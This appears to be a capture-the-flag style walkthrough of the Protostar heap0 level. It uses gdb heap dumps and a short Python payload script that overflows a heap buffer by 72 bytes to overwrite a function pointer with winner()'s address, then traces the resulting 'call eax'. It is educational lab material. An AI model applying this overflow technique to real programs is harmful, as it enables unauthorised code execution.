Heap starts at **0x804a000**

Stack starts at **0xbffeb000**

```
cmdline = '/opt/protostar/bin/heap0'
cwd = '/home/user'
exe = '/opt/protostar/bin/heap0'
Mapped address spaces:

        Start Addr   End Addr       Size     Offset objfile
         0x8048000  0x8049000     0x1000          0        /opt/protostar/bin/heap0
         0x8049000  0x804a000     0x1000          0        /opt/protostar/bin/heap0
         0x804a000  0x806b000    0x21000          0           [heap]
        0xb7e96000 0xb7e97000     0x1000          0
        0xb7e97000 0xb7fd5000   0x13e000          0         /lib/libc-2.11.2.so
        0xb7fd5000 0xb7fd6000     0x1000   0x13e000         /lib/libc-2.11.2.so
        0xb7fd6000 0xb7fd8000     0x2000   0x13e000         /lib/libc-2.11.2.so
        0xb7fd8000 0xb7fd9000     0x1000   0x140000         /lib/libc-2.11.2.so
        0xb7fd9000 0xb7fdc000     0x3000          0
        0xb7fe0000 0xb7fe2000     0x2000          0
        0xb7fe2000 0xb7fe3000     0x1000          0           [vdso]
        0xb7fe3000 0xb7ffe000    0x1b000          0         /lib/ld-2.11.2.so
        0xb7ffe000 0xb7fff000     0x1000    0x1a000         /lib/ld-2.11.2.so
        0xb7fff000 0xb8000000     0x1000    0x1b000         /lib/ld-2.11.2.so
        0xbffeb000 0xc0000000    0x15000          0           [stack]
(gdb)
```

Winner() is at **0x8048464**

Nowinner() is at **0x8048478**

```
(gdb) p winner
$1 = {void (void)} 0x8048464 <winner>
(gdb) p nowinner
$2 = {void (void)} 0x8048478 <nowinner>
(gdb)
```

By default fp points to nowinner()

We need it to point to winner()

```
f->fp = nowinner;

printf("data is at %p, fp is at %p\n", d, f);

strcpy(d->name, argv[1]);

f->fp();
```

64 ‘A’s , data is stored in **HEAP**, take note the value contained inside **0x804a050**

It contains the address of nowinner()

```
(gdb) p winner
$4 = {void (void)} 0x8048464 <winner>
(gdb) p nowinner
$5 = {void (void)} 0x8048478 <nowinner>
(gdb) x/32wx 0x0804a000
0x804a000:      0x00000000      0x00000049      0x41414141      0x41414141
0x804a010:      0x41414141      0x41414141      0x41414141      0x41414141
0x804a020:      0x41414141      0x41414141      0x41414141      0x41414141
0x804a030:      0x41414141      0x41414141      0x41414141      0x41414141
0x804a040:      0x41414141      0x41414141      0x00000000      0x00000011
0x804a050:      0x08048478      0x00000000      0x00000000      0x00020fa9
0x804a060:      0x00000000      0x00000000      0x00000000      0x00000000
0x804a070:      0x00000000      0x00000000      0x00000000      0x00000000
```

71 ‘A’s, data is stored in **HEAP**, take note the values contained right before **0x804a050**, theres 3’A and one NULL terminator

```
Breakpoint 3, main (argc=2, argv=0xbffff814) at heap0/heap0.c:38
38      in heap0/heap0.c
(gdb) x/32wx 0x0804a000
0x804a000:      0x00000000      0x00000049      0x41414141      0x41414141
0x804a010:      0x41414141      0x41414141      0x41414141      0x41414141
0x804a020:      0x41414141      0x41414141      0x41414141      0x41414141
0x804a030:      0x41414141      0x41414141      0x41414141      0x41414141
0x804a040:      0x41414141      0x41414141      0x41414141      0x00414141
0x804a050:      0x08048478      0x00000000      0x00000000      0x00020fa9
0x804a060:      0x00000000      0x00000000      0x00000000      0x00000000
0x804a070:      0x00000000      0x00000000      0x00000000      0x00000000
(gdb)
```

72 ‘A’s, data is stored in **HEAP**, take note the values contained in **0x804a050**, by having 72 A’s, we are pushing the NULL terminator into **0x804a050**, changing its value from **0x08048478** to **0x80048400**

```
(gdb) x/32wx 0x0804a000
0x804a000:      0x00000000      0x00000049      0x41414141      0x41414141
0x804a010:      0x41414141      0x41414141      0x41414141      0x41414141
0x804a020:      0x41414141      0x41414141      0x41414141      0x41414141
0x804a030:      0x41414141      0x41414141      0x41414141      0x41414141
0x804a040:      0x41414141      0x41414141      0x41414141      0x41414141
0x804a050:      0x08048400      0x00000000      0x00000000      0x00020fa9
0x804a060:      0x00000000      0x00000000      0x00000000      0x00000000
0x804a070:      0x00000000      0x00000000      0x00000000      0x00000000
```

Source code to win this level:

What this exploit code does is to fill the buffer till offset with junk values and after having it filled, we added the address of the winning function so when the program does a call EAX, it will call our winning function.

```
#!/usr/bin/python
import struct

def conv(hexAddr): # Converts string to packed binary data
        return struct.pack("<I",hexAddr)

def saveFile(filename,data): # Saves file for later use
        with open(filename,'w') as f:
                f.write(data)

offset = 72 # Offset to address to be overwritten
junk = "A" * offset
winnerAddr = conv(0x08048464) # Address of the winner function

payload = junk + winnerAddr # Forming payload

filename = 'heap0.txt' # Name of file to be saved
saveFile(filename,payload)

print payload # prints payload to console
~
```

Overwritten with custom address, take note of the values right after our last **0x41414141**

```
(gdb) x/32wx 0x0804a008
0x804a008:      0x41414141      0x41414141      0x41414141      0x41414141
0x804a018:      0x41414141      0x41414141      0x41414141      0x41414141
0x804a028:      0x41414141      0x41414141      0x41414141      0x41414141
0x804a038:      0x41414141      0x41414141      0x41414141      0x41414141
0x804a048:      0x41414141      0x41414141      0x08048464      0x00000000
0x804a058:      0x00000000      0x00020fa9      0x00000000      0x00000000
0x804a068:      0x00000000      0x00000000      0x00000000      0x00000000
0x804a078:      0x00000000      0x00000000      0x00000000      0x00000000
(gdb)
```

2 ways in executing the exploit code, 1st way

```
user@protostar:~$ bin/heap0 $(cat heap0.txt)
data is at 0x804a008, fp is at 0x804a050
level passed
user@protostar:~$
```

2nd way

```
user@protostar:~$ bin/heap0 $(python heap0.py)
data is at 0x804a008, fp is at 0x804a050
level passed
user@protostar:~$
```

Lets analyse how we won this level by this three instructions:

```
0x080484f7 <main+107>:  mov    eax,DWORD PTR [esp+0x1c]
0x080484fb <main+111>:  mov    eax,DWORD PTR [eax]
0x080484fd <main+113>:  call   eax
```

After executing instruction at <main+107>:

EAX has the **ADDRESS** of the winning():

```
(gdb) info registers
eax            0x804a050
```

```
(gdb) x/32wx 0x804a050
0x804a050:      0x08048464      0x00000000      0x00000000      0x00020fa9
```

After executing instruction at <main+111>:

Now EAX has the **VALUE** of the winning() itself:

```
Register values:
eax            0x8048464
```

```
Disassemble:
0x80484fb <main+111>:   mov    eax,DWORD PTR [eax]
```

When a call EAX is executed, it **transitions** to the winning()

```
0x80484fd <main+113>:   call   eax
```

```
Current instruction:
0x804846a <winner+6>:   mov    DWORD PTR [esp],0x80485d0
```

```
(gdb) ni

Register values:
eax            0x804a050        134520912
ecx            0x0      0
edx            0x4d     77
ebx            0xb7fd7ff4       -1208123404
esp            0xbffff740       0xbffff740
ebp            0xbffff768       0xbffff768
esi            0x0      0
edi            0x0      0
eip            0x80484fb        0x80484fb <main+111>
eflags         0x200246 [ PF ZF IF ID ]
cs             0x73     115
ss             0x7b     123
ds             0x7b     123
es             0x7b     123
fs             0x0      0
gs             0x33     51

Disassemble:
0x80484fb <main+111>:   mov    eax,DWORD PTR [eax]
0x80484fd <main+113>:   call   eax
0x80484ff <main+115>:   leave
0x8048500 <main+116>:   ret
0x8048501:      nop
0x8048502:      nop
0x8048503:      nop
0x8048504:      nop
0x8048505:      nop
0x8048506:      nop

Current instruction:
0x80484fb <main+111>:   mov    eax,DWORD PTR [eax]
```